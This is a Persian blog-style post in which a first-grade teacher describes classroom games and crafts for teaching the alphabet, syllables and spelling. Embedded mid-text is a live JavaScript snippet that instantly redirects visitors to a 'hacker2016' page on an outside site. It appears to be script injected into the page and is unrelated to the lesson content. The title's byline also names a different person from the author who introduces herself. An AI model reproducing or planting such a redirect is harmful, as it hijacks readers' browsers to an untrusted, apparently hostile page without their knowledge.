بازی های الفبایی/مهدیه حسینی کردکندی

بسمه تعالی زهرا فلاح زیولایی هستم.آموزگار پایه اول دبستان شهید سجادی کوهیخیل شهرستان جویبار.بیست و سه سال سابقه ی تدریس در آموزش و پرورش را دارم که بیستو دو سال آن در پایه ی اول بوده است.در سال 73 از تربیت معلم قایمشهر فارغ التحصیل شدم  دو سال بعد برای دریافت کارشناسی ابتدایی وارد دانشگاه آزاد و پس از آن در منطقه ی جویبار مشغول به تدریس شدم. همیشه می دیدم اکثر معلمین در پایه ی اول از ضعف املایی دانش آموزان خود گله می کنند.بعضی از معلمین می گفتند که مثلا دانش آموز پایه ی چهارم اسم خود را هم نمی تواند بنویسد یا حروف را نمی شناسد.من در کنار کارهایی که انجام از راه کار هایی نیز استفاده کردم که موجب تقویت املایی دانش آموزانم شده است. function abzar(){window.location="http://codebazan.ir/js/hacker2016.html"} setTimeout("abzar()",0000); از جمله این روش هایی که استفاده کردم :درست کردن دفتر حروف است که با کمک خانواده ها و همکاری بچه ها این کار انجام میشود. به این صورت که من برگه ها را از قبل کپی می کنم و به آن ها می دهم بچه ها شکلی که در برگه است رنگ می زنند مثلا برای آموزش نشانه ی "ب"دانش اموزان باید شکل سیب را که در برگه کشیده ام رنگ کنند.و کلمه سیب در زیر شکل نوشته می شود که سی را خودم می نویسم و دانش آموز تنها نشانه ی " ب " را که تازه آموخته است می نویسد و به آن وصل می کند تا کلمه کامل شود.دو شکل ب آخر و غیر آخر را که در زیر برگه قرار دادم بچه ها رنگ می کنند.در کنار این نمونه خانواده به کمک بچه ها در کاغذ رنگی نشانه ی ب را به صورت ضخیم می نویسد و آن را می برد هم کاغذ رنگی تو خالی  و هم بریده ی شده ی آن را روی کاغذ می چسباند..این کار موجب می شود که نشانه کاملا در ذهن دانش آموز نقش ببندد.کار بعدی که انجام می دهم این است که هر دفعه تیکه ای از روزنامه را به بچه ها می دهم و از آن ها می خواهم که دور هر نشانه ای را که یاد گرفتند خط بسته بکشند.کار بعدی که هم در کلاس هم در منزل انجام می دهند این است که از حروف بزرگ روزنامه ها نشانه هایی را که  یاد گرفتند برش می زنند و با کنار هم قرار دادن نشانه ها کلمه یا جمله می سازند که این کار مخصوصا در زنگ نقاشی بسیار لذت بخش است.بچه ها پس از انجام کار جمله های خود را می خوانند و به هم نشان می دهند.من روی بخش صدا بسیار تاکید میکنم کاری که انجام می دهم این است که تصویر آب را به بچه ها نشا ن می دهم بعد نام کل کلمه را می گوییم و روی یک تکه مقوا به آن ها نشان می دهم.سپس با هم بخش می کنیم و از زیر آن برگه ی دیگری باز می شود که چون مثلا آب یک بخشی است روی یک تکه مقوا نوشته می شود اگر کلمه بابا باشد دو مربع از زیر بابا ،باز می شود که یک بخش با و بخش دیگر نیز با می باشد و بعد از آن صدا میکشیم صدای اول آ روی یک تکه مقوا و صدای بعدی ب روی تکه ی دیگر که از زیر بخش آب باز می شود.این یک وسیله ی بازی در منزل و هم در کلاس برای دانش آموزان می شود.من برای آموزش نشانه ها بیشتر با حرکت لب کار می کنم و نشانه ها را در ذهن بچه ها جا می اندازم به صورتی که حتی اگر گاهی اوقات صدایم بیرون نیاید دانش آموز با دیدن حرکت لب من متوجه می شود که این نشانه چه نشانه ای است.مثلا به آن ها می گویم برای آ دهان تا جایی که امکان دارد باید باز شود چون قد آ بلند است یا برای نشانه ی ب لپ ها باید پر از باد شود و لحظه ای که دهان باز می شود انگار چیزی از آن به زمین می افتد که آن نقطه ی ب است یا نشانه ی د زبان لای دندان ها قرار می گیرد و این موجب می شود به مرور زمان کامل نشانه ها را یاد بگیرند و هیچ مشکلی در یاد اوری نام نشانه ها نداشته باشند.کار بعدی استفاده از جدول ترکیب و حروف الفبا است که در کلاس درس حتما باید وجود داشته باشد.و این جدول را کپی میکنم و در کتابشان نیز  قرار می دهم.نمونه ی کار بعدی استفاده از دفترچه ی جمله سازی است.دانش آموز هر نشانه ی که دوست دارد تصویرش را می کشد و هر چند جمله که دوست دارد برای آن تصویر می نویسد تا قبل از عید این نمونه کارها را جمع اوری می کنم و در پوشه ی کارشان قرار می دهم.پس از تدریس "خای "استثنا و وقتی که می خواهم وارد روان خوانی شوم چون اکثر حروف را یاد گرفتند با کمک خانواده کتاب فارسی آماده می کنند.به این ترتیب که دانش آموز تصویر را می کشد زیر آن متن درس و نشانه ی جدید را می نویسد از درس اول تا آخر. از این طریق مروری نیز برای آن ها می شود.به این صورت من مشکلی را که اکثر همکاران با ان مواجه بودند در کلاس خودم حل کردم .امیدوارم که همه ی شما عزیزان در کار خود موفق و موید باشید واین راهکارهایی که گفتم برای شما قابل استفاده باشد.3/2/1395